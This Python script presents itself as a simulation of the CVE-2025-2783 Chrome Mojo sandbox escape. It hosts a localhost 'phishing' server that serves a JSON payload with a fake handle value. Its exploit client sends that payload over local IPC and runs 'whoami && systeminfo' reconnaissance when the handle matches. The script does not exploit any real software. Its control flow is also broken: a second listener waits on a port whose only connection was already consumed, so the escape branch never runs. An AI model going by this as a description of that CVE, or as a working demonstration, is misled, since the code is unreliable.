import ctypes
import subprocess
import os
import json
import urllib.request
from multiprocessing.connection import Listener, Client
import multiprocessing
import http.server
import socketserver
import time

ESCAPE_HANDLE = "0x00000000deadbeef"
PAYLOAD_FILE = "malicious_input.mojopipe"
LOG_FILE = "incident.log"
MOJO_PORT = 6000
PHISHING_PORT = 8080

def log_event(message):
    with open(LOG_FILE, "a") as f:
        f.write(f"[{time.ctime()}] {message}\n")
    print(message)

def is_sandboxed():
    try:
        return not ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return True

def simulate_memory_fuzz():
    try:
        arr = (ctypes.c_char * 8).from_buffer(bytearray(b"ABCDEFGH"))
        ptr = ctypes.cast(arr, ctypes.POINTER(ctypes.c_int))
        val = ptr[0]
        log_event(f"[*] Simulated memory read: {val}")
    except Exception as e:
        log_event(f"[!] Memory access error: {e}")

def generate_payload_file():
    payload = {
        "message_type": "HandleTransfer",
        "handle_value": ESCAPE_HANDLE,
        "escape_code": "sandbox_breakout"
    }
    with open(PAYLOAD_FILE, "w") as f:
        json.dump(payload, f)
    log_event("[*] Malicious Mojo file generated on disk.")

def start_phishing_server():
    generate_payload_file()
    class PhishingRequestHandler(http.server.SimpleHTTPRequestHandler):
        def log_message(self, format, *args):
            return

    log_event(f"[*] Hosting phishing server on http://localhost:{PHISHING_PORT}")
    handler = PhishingRequestHandler
    httpd = socketserver.TCPServer(("", PHISHING_PORT), handler)
    httpd.serve_forever()

def fetch_payload():
    url = f"http://localhost:{PHISHING_PORT}/{PAYLOAD_FILE}"
    urllib.request.urlretrieve(url, PAYLOAD_FILE)
    log_event("[*] Downloaded payload from phishing server.")

def renderer_sim():
    listener = Listener(('localhost', MOJO_PORT), authkey=b'secret')
    conn = listener.accept()
    msg = conn.recv()
    print(f"[Renderer] Received IPC Message: {msg}")
    conn.send(msg)
    conn.close()
    listener.close()

def handle_mojo_ipc():
    log_event("[*] Listening for Mojo IPC (simulated)...")
    listener = Listener(('localhost', MOJO_PORT), authkey=b'secret')
    conn = listener.accept()
    log_event(f"[*] IPC connection accepted: {listener.last_accepted}")

    msg = conn.recv()
    log_event(f"[*] Received IPC message: {msg}")

    if msg.get("handle_value") == ESCAPE_HANDLE:
        log_event("[+] Exploit condition met — sandbox escape simulated.")
        output = subprocess.getoutput("whoami && systeminfo")
        log_event(output)
    else:
        log_event("[-] Patched behavior: invalid handle, escape prevented.")

    conn.close()
    listener.close()

def run_exploit():
    log_event("=== CVE-2025-2783 ADVANCED SIMULATION STARTED ===")
    log_event(f"[*] Running in sandbox: {is_sandboxed()}")

    simulate_memory_fuzz()
    fetch_payload()

    with open(PAYLOAD_FILE, "r") as f:
        ipc_message = json.load(f)

    log_event("[*] Launching renderer process (child)...")
    renderer = multiprocessing.Process(target=renderer_sim)
    renderer.start()
    time.sleep(1)

    conn = Client(('localhost', MOJO_PORT), authkey=b'secret')
    conn.send(ipc_message)
    conn.close()

    handle_mojo_ipc()
    renderer.join()

# === Controller ===
if __name__ == "__main__":
    print("Options:\n1. Start phishing server\n2. Run exploit client\n")
    choice = input("Enter 1 or 2: ").strip()

    if choice == "1":
        start_phishing_server()
    elif choice == "2":
        run_exploit()
    else:
        print("Invalid choice.")
1
